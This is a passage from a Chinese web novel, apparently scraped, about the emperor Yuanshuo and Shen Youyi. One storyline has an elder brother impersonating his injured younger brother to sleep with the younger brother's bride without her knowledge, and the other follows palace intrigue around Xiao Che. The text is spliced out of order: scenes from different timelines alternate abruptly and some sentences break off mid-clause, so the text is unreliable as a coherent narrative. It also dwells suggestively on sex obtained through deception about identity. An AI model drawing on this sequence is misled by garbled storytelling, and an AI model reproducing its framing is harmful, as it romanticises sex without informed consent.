她总要来见自己,这样莫名的兴趣有些奇怪,元朔帝夹起一块鹿肉,淡淡道:“他也不会将此事放在心上,你在他面前只需守礼,瓜田李下,见多了会惹来流言。” “这话听起来怎么像是吃醋一样?” “阿兄!”哪怕这或许是最后一次用二郎的身份见她。“兄长当真是这样说的?” 自从见过兄长与妻子亲热,太子夜间总不能安睡,他急切地想要回到镇国公府,但是侍从却客气留住了他。 “世子正率人查探那位医师的下落,不日就会来接来为二公子看诊,这是世子亲笔,应当不会有差。” 太子将兄长的信读过一遍,不免生出些惭意:“是我不好,累得兄长奔波。” 他以为哥哥在同妻子恩爱缠/绵的时候,元朔帝已经到了南直隶太平府下的池太兵备道视察标营,名为巡察,实则为他求医。 信里兄长将这位唐神医的来历简略同他说了一遍,只要能得他医治,即便不能恢复如初,阴冷天气也能好受许多。 与那日浴池中的步步逼近不同,兄长劝他多以父母妻子为念,等治好了双腿与隐疾,再与沈氏夫妻团聚不迟。 他想,既然他白日里叫她流了许多泪宜,也该投桃报李,再教她笑一笑。 她笑起来时,当真美极了。寒风呜咽,吹动着门前红灯,院内大部分的布置都撤下了,但仍保留了一些新婚燕尔的气息。 院落里的一砖一瓦、一草一木都没有变过,只是再踏进来时,心境有许多不同。 屋里有女子低声哼唱,声音轻柔曼妙。府内唱戏奏乐,婆母都能陪在镇国公身侧设宴款待宾客,她作为新妇却要候在大伯书房等夫君和兄长归来,沈幼宜心里很难痛快。 她还没来过夫兄会客习字的书房,但这布置摆设果然随了正主,符合她对独身男子书屋的幻想,架上无半点尘埃,可周遭的一切却显得冷清寂寥,她百无聊赖,只能将目光落在那一排排书里。 台上的戏像是《紫钗记》,她没听过全本,一时心痒,就去寻了一本唐传奇看,里面应当收录过《霍小玉传》。 不知是哪位贵客来,听这吹吹打打的,没一个时辰不会停,她看些话本传记打发时间,大伯应当也不会生气。 然而书才翻过两页,书房的门从外推开,对比内室的寂寥空静,那声响简直不啻于隆隆冬雷,沈幼宜吓了一跳,正要起身整理仪容,抬眼一瞧却顿住了:“宴席这么早就散了么?郎君怎么独自过来了……世子不一同回院么?” 她就知道,这人是二郎,换成世子,就算是饮了酒,也会先让人敲门示意,不会这样贸然吓她。 人说小别胜新婚,可她的丈夫不知吃错了什么药,一见面就冷冰冰得吓人。 其实他的态度冷硬应当也不是对她,只是像酒后恼了谁,目光湛湛,几如剑气,大约是疾步行来,胸口仍有些起伏不定,见她生怯,强压在心里,声调温和:“盈盈,害怕么?” 沈幼宜微怔,只是惧意使然,下意识往后退了一步,疑惑道:“还好,是谁惹到郎君了么?” 男子不言语,却前踏两步,至她身前,拦臂过来,擒住欲逃的美人。 高大的身躯遮住日光,阴翳之下,传到她面颊的,却是阵阵热意。 腰肢被人攥在手上,不由得她不怕,沈幼宜后知后觉,可不是他叫她过来的吗? “开门郎不至,出门采红莲。采莲南塘秋,莲花过人头……” 已经这样晚,她竟还在等他。 这种感觉似乎有些奇妙,但细想一想,只是弟妇还不知这个时候已至宵禁,镇国公府大部分的院子都关门落锁,他喜静,往常有事晚归,索性就住在衙署里,免得惊动许多人。 镇国公府的主子要夜行,自然不算犯禁,只是觉得麻烦。 然而他此刻正在不怕麻烦地犯禁。 眼尖的婢女小跑回屋,只来得及同女主人说两句话,沈幼宜匆匆向外迎他,元朔帝就已经到了门口。 她的头发已经全部散开了,面上带了一点笑容,虽行动有些不易察觉的迟缓,可整个人是轻盈而欢快的,像一只矫捷的云雀,直直扑向他。 “你到哪去了,怎么到了宵禁才回来?” 沈幼宜伸出双臂勾住他的颈,仍有些不习惯他的体热,才想要松开,却被他牢牢扶住腰身。 “盈盈,不要闹。” 耳边是他低沉的声音,沈幼宜微微有些羞怯,低声道:“衣服好凉。” 元朔帝连忙松手,他还没除去外裳烤火,她是馨香温软,撞到的却是一团坚冰,当然会不舒服:“对不住。” 她却环得更紧,竟贴着他身子,莞尔一笑:“地龙烧得好热,郎君叫我凉快些好不好?” 太子不想开口认错,只是到书房来见他前将自己打理得更妥帖些。 然而他才被人推进来,就看到桌边被血染出一道掌印,恨不得立时从转轮车里站起,查看兄长伤到了何处。 手上的痛楚缓解了内心的燥/欲,元朔帝沐浴后换了一身鸦青色便服,束带仅以芝兰纹样装饰。 他见太子果然比昨日更强些,虽好气又好笑,却也不再提人之过,抿了抿唇,无奈道:“没什么事,不过是我稍后要携你新妇拜见父母,你若不放心,也可从密道进去瞧瞧。” 密室本是用于伯媳偷/欢,通不到沈夫人院中,然而君子坦荡、不欺暗室,他私下见二郎新妇,总要告知玄朗一声。 只是他清楚父亲打猎的习惯,此时应当还在城郊未归。 太子微微尴尬,他夜里确实伤到了兄长的心,他又不是时刻疑心的男子,更不愿瞧见盈盈与另一个自己亲热,轻咳了几下方道:“我还有一剂药未服,阿兄自便就是。” 日影移斜,秋光泛凉,吹过池水的风似乎也慵懒起来。 元朔帝到门前时,沈幼宜午睡才起身,青丝半披,只穿了贴身小衣,正在试戴首饰。 世子随口斥责一句,沈幼宜并不往心里去,她见了元朔帝送的贺礼就什么烦恼都没了,见是夫君回来,立刻回身相迎,连鞋也来不及穿,轻快道:“怎么这样晚才回来,用过饭了么?” 元朔帝瞥见她被风吹起的薄罗衫子,只至颈项,目光就不再下移。 那近乎透明的鹅黄色全然遮不住她莹润光洁的双臂,反而更显柔软纤长,惹人遐想。 他想,地龙烧得还是太热了些。 这根本不可能有人替代,更不要说之后还要她独自去闯鬼门关。 可旁人却并不觉得这是什么了不得的付出,她向来有些敏感,对比吃饭行动上的不适,旁的女子并不将这种她觉得恐怖的反应当成天塌地陷的大事,只是因为她是贵妃,是皇帝钟爱的美人,有了一点小小的不适,也足以在紫宸殿兴起一场波澜。 男女之事讲求神秘,但元朔帝却见识过她深夜因腿部不适而惊醒哭泣的模样,甚至就此俯身至下,为她按摩……甚至一点点亲到上面。 但她清醒过来更不高兴,这个孩子是她自己喜欢想要,为这些事情迁怒下人,并非是沈氏的家风,阿娘说的没什么不对。 所以当孩子没那么闹人,她还有心思拿起针线,偷偷为元朔帝做一件寝衣,同他撒娇抱怨一日的寂寞,见他衣冠严整,不似日常起居的便服,问他要去哪里。 元朔帝笑着抚了抚她的头,嗓音略带威严:“无非是东宫的事情,子惠执意出家,朕就先教他在东宫带发苦修了半月,今日这孩子请我过去,或许是生出了些悔意。” 80-86 第 81 章 第 81 章 元朔帝不在内廷的时候,沈幼宜也有自己的消遣,不过今日她惫懒得很,只到昭阳殿去理了一回事,依旧兴致勃勃去等这个老男人回来看到寝衣时的模样。 她的女红一向不是很好,是以做了相对简单的寝衣,也不额外绣太多纹饰,她为逢迎君王,多数时候还是以身体取悦,元朔帝几乎没怎么收到她亲手做的东西。 所以她这些时日难得重新拈起针线,试图在某一个再寻常不过的午后吓他一跳,教他生出许多欢喜。 然而不请自来的柳氏却挡住了她返回紫宸殿的脚步。 柳氏今日的着装隆重了许多,本就是明艳动人的娘子,只是很少这样打扮,沈幼宜猜想她是替赵王来回萧彻的话,不免心下一紧。 但她没听闻前朝因陵阳侯的死而复生引起什么动静,是以很平和地对侍女吩咐要同这位柳姬单独说话,她猜测着萧彻离去就在这几日,稍微有点忐忑,前路漫漫,只希望他在归途拆开那封信,不要气出病来。 所以她只是婉拒了他的请求,好言相劝之余并没敢劝他尽快娶妻生子。 然而柳氏却叹了一口气,面露忧色:“妾按照娘娘的吩咐,等使团出发才请赵王将信送出,萧郎君得到了信,却不肯相信娘娘就是这样薄情的女子,一意孤行,非要亲自见到娘子问个明白,赵王拦不住,只好教妾请娘娘过西苑一叙。” 或许是畏惧这位镇国公世子的权势与脾性,尽管知晓讨好他对自己夫君日后仕途大有裨益,她也宁可远着些。 沈幼宜的步履微缓,行至他近前时才瞧见元朔帝眉头微蹙,她躬身行礼,怯怯道:“世子寻我有什么事?” 元朔帝本想将恭贺二人新婚的礼物一并带到她面前,然而两个人已经在母亲那里见过,他也不必避讳,吩咐侍从将锦盒递给红麝,平和道:“昨日圣命在身,竟未能喝上一杯你与二郎的喜酒,今日特将见面礼补上。” 原来不过是为此,沈幼宜不觉莞尔,她柔和道:“世子勤于王事,家里这点小事不劳您挂心,二郎和我都清楚的。” 她瞧着世子送的应当是些女子头面首饰,道:“母亲不过是一句玩笑话,世子晚间相赠也是一样,何必候在这里吹冷风?” 元朔帝看向她,昨夜的枕边人对他似乎一无所知,不知是该庆幸还是担忧,淡淡道:“我很少在府中,只怕错过你与二郎奉茶,本来就是赠与弟妇的,早晚都是一样。” 沈幼宜称沈,她方才被婆母问了一句,想起夫君的借口,不免开口问上一句:“妾在闺中,不知朝廷里的事情,二郎晨起说还有公务在身……不知是有什么要紧事,连婚假也不能休得一日?” 元朔帝面色未变,只是不言不语时,能叫人看出有些不悦,然而这不是他的妻子,话不好说得太重,他斟酌开口,语气却不似方才温和:“内宅不问外务,弟妇不知道么?” 沈幼宜虽知他循规蹈矩,可丈夫连官职还没有,应当不会涉及朝廷机密才对,刚刚大伯又待她谦和,她就生出些亲近之意,有些失了分寸,竟和丈夫的兄长打听起朝中的事情,立刻俯身认错,道:“多沈世子提点,是妾失礼,本不该多言的。” 她生得风流婉转,可过多的小心怯懦却让这份美貌黯然些许,她连眼睛也不敢对视,只能教他俯视那柔折颈项,窥见一点酥腻。 他不免自省,方才的语气有这样重么?连皇爷都亲自见过他们兄弟两个了,她的丈夫应当不会有什么问题,她只是仍有疑问未解,想求世子查明,要个心安罢了。 只是她的夫君似乎对此兴致缺缺,轻描淡写道:“不是什么贵客,听母亲说过,是个盼着把次子过继主支的远亲。” 沈幼宜疑惑地“嗯”了一声,忽而福至心灵,小心翼翼放低了声音,怕婢女听到:“是世子不能生育么?” 元朔帝深深望了她一眼,是他提议分桌而食,若无桌案的遮挡阻碍,只怕他当众就要露丑,将她不管不顾地扯过来。 “不要私底下议论兄长的事情。” 他沉声警告她:“背后议论人是非,不是君子之举。” 沈幼宜低低应了一声,郎君这语气让她想起大伯教训她的样子,心底却叹息果然如此,连郎君都不便与她多言,她其实也一直好奇大伯已经到了年纪,难道就没个情投意合的姑娘,二郎没回府前,他是镇国公府的独苗,迟迟不婚,总会有人惦记爵位与家产。 不过人哪有样样齐全的,上天教他这样令人羡慕,留下些缺憾也不奇怪。 就是那个远亲实在令人佩服,她见大伯一面都怕得不成,这人还敢打着将儿子过继给他的主意,轻轻叹道:“虎毒不食子,当真是富贵险中求了。” 元朔帝颔首,族中有这样想法的人不在少数,然而人性如此,他宽慰道:“母亲不告诉你,大约也是怕你多想,但若说有人将手伸进院里害你,他们还没那么大的本事,将来有了身孕也不必多虑。” 沈幼宜轻快地应了一声,含笑道:“有郎君在,我什么都不怕的,你还能瞧着别人欺负我吗?” 人逢喜事,她不知不觉吃了许多美味的鹿肉,但是侍女收拾桌案,见郎君桌上的饭食似乎只用了一半,疑惑道:“做的菜不合口味?” 厨房做得还算鲜嫩美味,膻味被很好地掩盖在香辛料的气味里,然而这鹿肉却似星沫微火,迅速漫至心野,燎起无穷无尽的春意。 手按在案几上,袖底青筋毕露,元朔帝强压着那阵跳,平和解释道:“晚间少食方为养生之道,但盈盈还在长身体,你该多吃些。” 沈幼宜有些羞怯,但漱口更衣之后,她望着郎君那里,不免有些瞠目结舌。 她听人说起过鹿肉算是补品,但镇国公府的鹿肉……未免太补了。 就是她现在有些力不从心,沈幼宜犹犹豫豫道:“郎君,要不然我们就轻轻地试一次……” 他今日气颇不顺,见她目瞪口呆,声音难免严厉些:“谁叫你盯着男人瞧!” 然而这话一出口,元朔帝立刻意识到是他火气过盛,却无缘无故迁怒于她,勉强柔和了语气,俯身环住弟妇的身子:“你身上还不好呢,再等几日不迟。” 沈幼宜被他训斥时只是震得一呆,随后又被人抱在怀里轻哄,这委屈才显出来,她有些闹脾气:“那我要是等不得呢!” 元朔帝有些后悔今夜就来告诉她这喜讯,倒不像是讨她欢心,反而是为自己寻了一处修行之地,他将将克制住那阵欲,平和道:“盈盈,你不必为了沈我就勉强自己,为岳父说两句话也是我该尽的孝心。” 只需再过几日,他就能为玄朗寻到名医,如何还能装作弟弟的模样与她亲热? 沈幼宜气结,身子几乎要哆嗦:“谁说我勉强,没有勉强的,我就是喜欢你才想……” 然而她的夫君未免也太古板了些,拍了拍她的背,像是有些疲倦:“明日外出有事,不方便的。” 这拒绝简直生硬得很,沈幼宜赌气应下,他都成这样了,还能装得住么? 他的气息很快变得均匀,假若他只当她是红粉骷髅,鸳鸯红帐如黄土冷幡,种种引诱皆为泡沫幻影,倒不至于十分难熬,可是夜半月升,那一床锦被里却传来轻轻的颤动,像是尽力压抑过一阵哭声,才翻过来抱住他。 “郎君,你是不是还觉得我年纪太小,不喜欢和我行事?” 她声音轻轻,忐忑里带有浓浓的委屈,但是怕惊到熟睡的丈夫,只伏在他肩头蹭了蹭,像鸳鸯似的交颈而卧。 似仍觉不足,从被底握住他一只手,重重按在自己心口,在他颈边亲了一下,委屈又有些无赖得意:“伪君子,一堆道理,我瞧你明日怎么说!” 手底是不算陌生的柔韧,却比暖炉更热,捧也捧不住的。 元朔帝呼吸微促,他只需恰到好处地醒来,轻轻一翻,就能再度拥有弟妇,她就算有些起床气,也绝不会拒绝。 近乎疯狂的念头不欲让他清心,原本被衾被隔断的香气随着热源的靠近愈发清晰,覆住的肌肤下是一颗为“他”而悸动的心,无时无刻不在提醒他,身边躺着一个活色生香的美人。 只是他做不到忽略她的身份与年纪,她已经习惯了二郎的陪伴,两人融洽和睦,并不会觉得他们之间相差多少。 然而他生来就在亲生父母身边教养,阅历见识远胜于二郎,更熟悉镇国公府的一切,大可以用足够多的借口,消除她每一次的疑心。 甚至随便做些什么,都可以收获她足够多的感激。 是他引诱了她,还要拒人于千里之外,伤了弟妇的心。 终究那只手还是稳稳覆在女子心口,待她呼吸彻底平稳之后,才不着痕迹地挪开,替她重新掖好被角。 然而她惧怕得像是受了惊吓的兔子,认定他有意责备,便不好再解释些什么,反似越描越黑,只颔首示意,先一步回房去了。 临渊堂的侍从见世子回来,面露喜色,含笑禀道:“二公子今日心情像是好了些,不但多用了些餐食,还按着太医的法子活动手脚,奴婢们替二公子按摩时他也不甚抗拒。” 自从主母想出了借/种的法子,世子多教二公子住在临渊堂调养身子,担忧他郁郁寡欢,方便时常看顾。 晨起他们都以为二公子酒醒后会大发雷霆,皆是小心翼翼服侍,没想到二公子言语不多,却比以往更好伺候,虽然个个疑惑,可提心吊胆这些时日,总归是松了一口气。 元朔帝稍稍思索就知二郎一反常态是为何。 他昨夜并未在二郎妻子身上一逞兽/欲,却也令沈氏女有了怀孕可能,二郎心里自然会好受些。 然而回忆起夜里的难堪,元朔帝不免按了按指尖伤口。 她并未得到应有的欢愉,然而却还满是依恋地枕在他怀中,毫不在意那团雪腻紧紧贴在他心下。 若她晓得夜里伏在她身上的男子便是训斥她干涉朝政的大伯,不知作何感想? 太子已收拾得浑身干净清爽,他将妻子的新婚夜拱手送与他人享用,即便那人是他敬重的兄长,他亦觉痛苦难堪,可等他亲耳听见两人合房后,那点酒热渐渐退了,反而自惭懊恼。 兄长身形比他更高大挺拔,行伍多年,腰身也更紧实有力些,他虽然没和盈盈做到那步,可听士卒们夜半夸耀,倘若是正常男子,不会须臾就交付出去,即便是才开荤的雏儿,开头虽然狼狈,一夜里也至少三四回不歇。 反倒显得他这个须得求子的丈夫心思龌龊,以小人之心度君子之腹。 只要她尽可能地巴结元朔帝与贵妃,日后可以取代赵王的发妻,成为赵王妃,她没有这样做的理由。 柳氏垂下眼,她虽贫苦,从小却连只鸡也没有杀过,望了望贵妃戒备警惕的神色,不过一笑:“娘子若不信,大可往西苑一观,从南诏使节踏入关中起,陛下便动了杀心,这是赵王亲口同我说的,您这时节去,说不定还能为萧侯收尸。” 匹夫之怒,血溅五步,即便是至高无上的贵人也会害怕,可她又不想一剑刺入贵妃的咽喉,这位美人有什么可怕的呢? 沈幼宜袖底的手紧紧握住那柄刀,站起身时近乎踉跄,侍女听见殿中金铃作响,连忙入内搀扶贵妃,面上皆浮现恼意,疑惑这位被赵王宠爱的美人到底同贵妃说了什么。 然而沈幼宜却顾不得这些,她心急如焚,吩咐人看住了柳氏,急匆匆吩咐辇车,不必用那什么皇后规格的仪仗。 她全身心依赖着的男子根本不曾相信过她归来后许诺的情意,他同样在虚情假意地欺瞒着她! 今日的皇帝怎么可能会往东宫去! 西苑那间宫舍依旧静悄悄,沈幼宜一路乘车,除了宫殿周围日常巡逻的侍卫,仰望高处,竟然都瞧不见那些弓弩手。 第 82 章 第 82 章 她神情不似作伪,萧彻虽隐约觉出些异样,然而见她身形不稳,还是下意识离她近了一步。 也似乎要更近一点,才能确认她的心意。 “宜娘,你说什么?” 沈幼宜没时间同他说那些情情爱爱,深吸了一口气,转手将刀柄递给他,声音低到只有两个人听得清。 她急促道:“挟持我,快走。” 想起纸张上的字迹,他隐约觉出些古怪,正欲奔走,然而只是一瞬,四目相对,他反而镇定了下来,咽下满口苦涩,他小心将刀拿过来,远远掷到地上,却摇了摇头。 只是此一时彼一时,她晓得许多事情还不敢告诉娘子,知她必定会伤心。 灶间留着的水已经有些温了,可她去取用时不见仆妇烧水,里面的水更没见少,但西侧浴间却有侍从进出送水。 沈幼宜才为新妇,不肯叫婢女伺候自己这种私事,只索要巾帕自拭,白帕上只沾了一点点红,虽说过程古怪,可她并未有太多恐惧,可见郎君还是用了心体贴她的。 “乱糟糟一日,二郎也得歇一歇,听说世子有心照拂郎君,还要带着他出去办差,自然要克制些。” 沈幼宜不知是说与红麝听,还是说给自己,她才尝到一点滋味就戛然而止,心头的困惑不比外人少,她深吸了一口气,道:“国公府的郎君似乎都寡欲,公爹不纳二色,听闻世子到如今还未议亲,大概内训如此,二郎才回来,也不好违拗。” 她叹气,忽而莞尔:“不过看在他从前待我这样好,就是这事有些不谐,我也不该与他计较的。” 然而那地龙倏然一响,将她唬得不轻,然而又困倦已极,只是抚了抚心口,对红麝道:“你也回去歇歇罢,郎君和我一会儿都不叫人的。” 沈幼宜在枕上浅浅睡了一觉,朦胧中察觉到有人掀开帷幔一角,身上带了些寒凉水汽。 她不习惯被人侵入自己的领地,霎时惊醒,睁了眼又啼笑皆非,想起自己是成过亲的人,又安心阖眼,不满呢喃道:“郎君?” 元朔帝吩咐人汲了井水,待那阵不可遏制的欲勉强抑住,思量她应当睡下,才回身到婚房内。 那一声“二郎”比井水更令人清醒,她终究是与太子两情相悦,他与她同榻,岂是为了枕边欢愉,为逞快而欲令她哀哀啼哭,当着二郎的面折磨他的新妇,这与禽|兽何异? 他学着太子的声音沉沉应了一声,才将双手放于腹部交叉,未温的被角就被人掀起,一团温软似云的东西触及他臂膊,且愈发贴近。 她果然伸了一臂想要揽住,还未来得及抱怨他寝衣寒凉,却被元朔帝握住手掌,他声音满是严厉:“你作什么?” “我只是喜欢和郎君捱得更近些。”希望那时他也能遇佳偶,请他与弟妇喝一杯喜酒。 “兄长改了主意,想择人成婚了?”沈幼宜丧失了逗他的兴致,更没有窥探大伯隐私的想法了。 她的夫婿只跟在世子身边将近一年,都能被调/教成呆板古怪的木头,世子能有什么能被拿来说笑的风流韵事? “那郎君方才到底想对我做些什么?”沈幼宜老老实实地被他拥住,闷声问道。 他的目光满含侵\略意味,像是要把她给…… “我方才想亲一亲盈盈。” 他想起那些梦里出现的场景,不自然地别过头去,两人分开远些,似有些惭意:“吓到你了。” 沈幼宜忍俊不禁,她还以为……却又有些不好意思,低低道:“我的胆子才没这么小呢,但二郎做什么事得说明白呀,否则我怎么知道你要做什么?” 她就是有点紧张,想着闭上眼睛就好了,醒来也不用负责。 不过这也不能完全怪她胆小,二郎简直像是得了什么古怪的病,一会儿气势汹汹,好像不知道要把人欺负到什么地步似的,一会儿又像是被谁强/迫这样做,对她满怀歉意。 伪道学。 她记得陈伯父喝完酒偶尔会这样骂他某几个早年同窗。 元朔帝见她忸怩不语,又自己呆呆地笑出气音,道:“盈盈在想什么?” 太子颇感吃惊,他再三确认信里的话,默了良久,才徐徐吐出一口气:“那也很好,万一纸包不住火……” 盈盈已经与兄长有了那层关系,日后一旦发现与她同房生子的另有其人,而那人非但与他们同居一府,竟然还至今未婚,难免会生出许多波澜。 他忽然生出些阴暗的庆幸,等兄长有了妻子,盈盈也不便再改嫁。 幸而,幸而他的兄长是元朔帝,即便到了这时,也处处为他着想。 元朔帝所想,也算与他殊途同归。 既然弟妇无意于他,多与沈氏女亲近一次,无疑多一重纠葛,他不可能夺她为妻,又决心不与她同床,就该适时抽身,或许他的姻缘并不在 请来唐神医,着实费了一番力气。 昔日的唐院使已经化名唐而生,独身在芜湖开了一家灯笼铺,生意不好不坏,仅够维持生计,听闻被陈总兵拉上马车的时候险些服毒自尽。 元朔帝起初并不露面,只是吩咐陈总兵将锦衣卫寻来的唐家人带来,与唐而生团聚。 他的子孙是附逆之人的后代,因此不能入宫为医,也不能走科举的路子,然而这位还未见过真面目的贵人不但许以金帛,还愿意提携他们一次。 只希望当年的唐院使能再度出山,救治一位对他十分重要的亲人。 锦衣卫话里话外的意思,皇爷早知他们这些人的去向,只是不愿多计较,安抚他不必惶恐。 因此在第一次在府衙见到元朔帝时,唐而生已经恢复了往日为宗室勋贵诊脉时的不卑不亢,从头到脚打量了一番,从容道:“裴侍郎如此大费周章,不知府上是哪位亲眷不适,要您不惜劳动锦衣卫,也要将老朽都搜寻出来?” 他对镇国公府有些印象,当年的镇国公世子如今已是知天命的年纪,想来这么多年也是宠眷不衰,不知是什么病症,竟能惊动天子之师。 “是舍弟受了重伤,在下特地前来请先生往京城去。” 唐而生颔首:“令弟患有何病?” 元朔帝将太子的病情大致转述一番,并附上太医院前后几次开的药方。 唐而生抬眼扫过那几张纸,元朔帝见他面露怠色,以为他仍抗拒新朝,正欲好言劝说一番,却听他冷笑一声:“时无英雄,竟使竖子成名!” 不待他多言,唐而生已经将纸团了一团,漫不经心道:“事先同裴侍郎说清,我多年不行医,外伤犹可,生育上的事我未必有把握,总得见了人再说。” 元朔帝经了那夜之后,决心与弟妇断绝,见素有盛名的唐神医都不肯将话说满,一时欲言又止,然此事为裴氏家丑,轻易不能为外人所知。 他不能再与弟妇做那等有违人伦之事,否则…… “裴侍郎是觉得唐某人在说大话,信不过某的医术?” 唐而生很熟悉这些权贵人家的多疑,久病不愈,就越发想求个名医,可真求到面前,又自己先打退堂鼓了。 特别是眼前这位镇国公世子,他打眼一瞧,就知道这人大约病不自知,面上待他客气,若问到实处,说不定有多嘴硬。 “侍郎是否常觉手心发汗,口干耳热,秋冬多用滋补饮食,吃山参龟鹿补气?” 元朔帝近来确有此感,但他以为那是娶了弟妇的缘故,思索过后答道:“先生所料不差,不过府中饮食大多清淡,仅近来食用过一次鹿脯。” 他从前跟着皇帝打猎,喝过新鲜鹿血,还不至于压不住几块鹿肉。 唐而生叹了一声,请元朔帝伸手过来,粗诊了一遍,他给达官贵人乃至先帝开过许多补肾益气的方子,多是为了房中增乐,这些谎话还骗不过他。 病人欺医虽是常事,但裴侍郎似乎是过度注重保养,反而损身。 “侍郎之病,其源在心,其实补而不泄,并非累积增益之道,反不如不补。” 沈幼宜不敢置信,她呆呆望着元朔帝,眼睛里隐隐泛出水光,哽咽道:“二郎难道不想同我多亲近?” 元朔帝向来能很好克制自己的怒气,即便在外也很少训斥下属,但他方才却近乎恼羞成怒,脑中浮现许多念头。 到底是她要做什么,还是他以为她要做什么? 他儿子杀人的时候,尚有远在前线的亲信替东宫遮掩。 元朔帝将她望了又望,他的宜娘青丝凌乱,狼狈地站在萧彻身前,却满面失望地看着他,仿佛下一刻,她从前的这位丈夫就会死于非命。 而在这之前,她为他准备了礼物,欢欢喜喜期盼他回去,两个人亲热地依偎在帐中,温柔而缱绻。 他早就得到了想要的一切,只是却不肯相信。 他一早就武断地决定了她的选择,在死而复生的萧彻和能给予她无尽荣华的帝王之间,宜娘一定会选择那个最喜爱的男子。 而这个人一定不是他。 第 83 章 第 83 章 十指交扣,掌心的触感烫得她微微瑟缩。 沈幼宜记得他在人前并不喜爱过分与宠妃亲热,将私密的情意展现给臣下。 可那个人是萧彻。 她想退一寸,手掌的主人就进一尺,沈幼宜迟疑了片刻,反客为主,紧紧反握住他的手,声音轻颤,目光中露出些祈求:“陛下……珩郎,我没想过来见他的,真的。” 这里没有她梦见过的惨状,也没有什么刀兵相向的场面,春光如许,照样浸染着恢宏殿宇,一切宁和而平静。 但是她可以确定一点,若元朔帝当真没动杀心,完全可以叫赵王截住不发,催促使团尽早离京,而不是以她的口吻诱他脱离使团,做下与谋反无异的事情。 他在等,在犹豫,只是她不清楚到底是什么能改变天子的心意。“我在想阿娘会做什么菜招待你。” 沈幼宜掩口,捉弄他道:“二公子如今食不厌精,脍不厌细,不知还吃不吃得下鸡蛋糖水。” 即便是鱼米之乡,自古繁华的东南,鸡蛋和糖盐对于普通人家也是金贵的东西,陈家两个男子,又不交赋税,家境自然要比她们这对母女好,他隔些日子给她买几块点心尝尝。 新客上门,这是必有的招待,一般来说是三个,但料放得越多越足,越显得看重,元朔帝不免微微笑:“我尽量多吃些。” 这习俗似乎各地都有,只是做法各不相同,他在大同时也偶然听马夫说过一耳朵。 或许是弟妇与他的关系,他不免想起那些糙话。正如沈夫人所说,天下英才齐聚金陵,就算是进士,一榜几十人,十几年过去就是数百人,除了头甲那几位格外出众的,还有谁会特意去记一个罪臣姓名? 这中间他一定使了些什么手段,却又不说,她握住郎君替她擦泪的手,断断续续问道:“不许骗我,我会生气的。” 元朔帝顿住,他来前就已经想了一个绝妙的借口,只是此刻说出来,他竟隐隐有些不甘。 只是这种不甘就像他换洗伤口时的痛楚,凝固的血痂虽恨不得带下一片皮/肉,痛楚过后却又是清醒的解脱。 “皇爷听说过一些我家的事情。因此特地将我与兄长叫到宫中去,看看到底有多像。” 第一句开口,后面的话再说出来似乎也不大难,他反握住沈幼宜的手,垂眸道:“皇爷问我想要些什么赏赐,我想起岳丈的事情,便说也不想要什么别的,只想新妇一家能团聚。” 沈幼宜咬着唇忍了几息,艰难道:“你不想做官吗?” 如果不是为了封妻荫子,他怎么会外出从军,二郎是个心气极高的人,国公府的富贵固然是他该有的,可总不如自己赚来的更叫人欢喜。 “人生百年,只要想做官,日后机会多得是。” 这句话本是出自真心,然而他忍耐了片刻才道:“但盈盈只有一个,我……二郎只想你更开心些。” 沈幼宜喉头一哽,忍下的泪终究滑落下来,她伏在他腰间,强抑着哭了一会儿才抬起来:“对不住,委实是对不住…” 对不住他被沈氏拖累,也对不住他在宫里为她家中的事情斡旋,她却疑心睡在枕边的男人到底是不是她真正的夫君。 甚至顺着他的话幻想过夫兄伏在她身上…… 元朔帝望见她一张沾了泪的脸,那双亮晶晶的眼被泪水溢满,却又满含情意,他却虚伪得令人作呕,轻轻将她推开,见沈幼宜睁大了眼睛,却又羞于解释:“有些肿了……还是少动作些。” 沈幼宜诧异他是怎么知道这事的,一时破涕为笑:“回来后我自己涂了药,过两天就消了的,郎君别担心。” 他的指腹是有些粗糙。 元朔帝起初不大理解她的意思,直到她也同样不解地看向他腹下,立时别过头去,颈处漫上一阵热意:“该这样说的人是我才对,见你这样伤心,我却只有龌龊的心思。” 这本就是可耻的,他是因为她无知无觉中失了身子给他,才会心生愧疚,有意补偿,不知道沈幼宜前,他与沈儇并无私交。 而她即便本心无意与他偷/欢,日后也不能再同丈夫毫无芥蒂地举案齐眉,元朔帝拍了拍她的背,担忧她哭得上不来气:“盈盈,没什么好沈的。” 弟妇还太年轻,不知权力为何物,赦免沈儇,不过是皇爷一句话的事情,他没出什么力。 沈幼宜摇头,郎君握住她的力道那样大,紧得像是与她融为一体,怎会如同面上那样轻描淡写:“要沈的,那可是你用性命搏来的东西,我都会替你心疼的!” 她抬手去解自己罗裙的系带,抛却女儿家所有的羞涩,豪迈道:“你今天喜欢怎么样,要不要换个样式,我跪着好不好?” 元朔帝呼吸一滞,她今早才遭他折磨过,怎么还这样信任? 不怕会坏掉么? 沈幼宜却有心弥补,看来她还是有些杞人忧天了,没吃鹿肉,郎君对她照样是有兴趣的,想到此处她不免有些心虚,要是婆母真听了她的话教导郎君去看医生,郎君一定会生气,说不定也会要她这么跪着,自后一下又一下地撞她。 她一定会很害怕,但这只是另一种乐趣,郎君知道疼她的,反倒算不得什么惩罚。 突然很想瞧他生气的模样。 然而她那过于迂腐的夫君却按住她一路向下的手,吩咐红麝进来,温存体贴地打断她的幻想:“盈盈不是还没用晚膳,鹿肉新做出来才好吃,放到明日就腥了。” 许是今夜太热的缘故,元朔帝清了清喉咙,不自然转过身去:“那些微末功劳,我就是获得官位也见不得天颜,只是兄长在朝为官,我也借了些力,盈盈,不必放在心上。” 一嗅到那鹿肉的香辛气味,他那孽处竟不可自抑地跳了两跳! 沈幼宜方才只记得他,还真将大伯忘得一干二净,一时有些羞惭,二郎是做了什么好事一定会和她炫耀的性子,如今这样,自然少不得兄长的教诲。 世子淡泊,大概也不想受她的沈,可人不是这么做的,她该懂事些。 沈幼宜忙道:“我记得大伯的好,郎君,明天我就去选礼物,你得了空带我去当面沈他好不好?” “这和咱们伺候那些瓦剌来的种/马是一个道理,不多加点料,怎么有劲多种点小马崽?” 草原尚武,草原上的马也耐寒能战,且适应粗饲,太/祖皇帝以中原王朝末年多失良马为诫,朝廷在大同府和甘肃镇、青海等地多纳入胡马,与官府选中的美丽骏马配/种,希望能生产出结二者优点的新种。 他这样想着,席间咽下那七个酒酿糖水蛋时就尝不出其中甘甜滋味了。 崔氏知道他要接新妇回府去,也不多留,但仍向元朔帝道:“二郎,我有些舍不得盈盈,你先在外面坐坐,我有几句话要和她讲。” 母女天性,元朔帝自不会为此催促,他想起崔氏似乎很快就要回乡,颔首道:“这是应该的。” 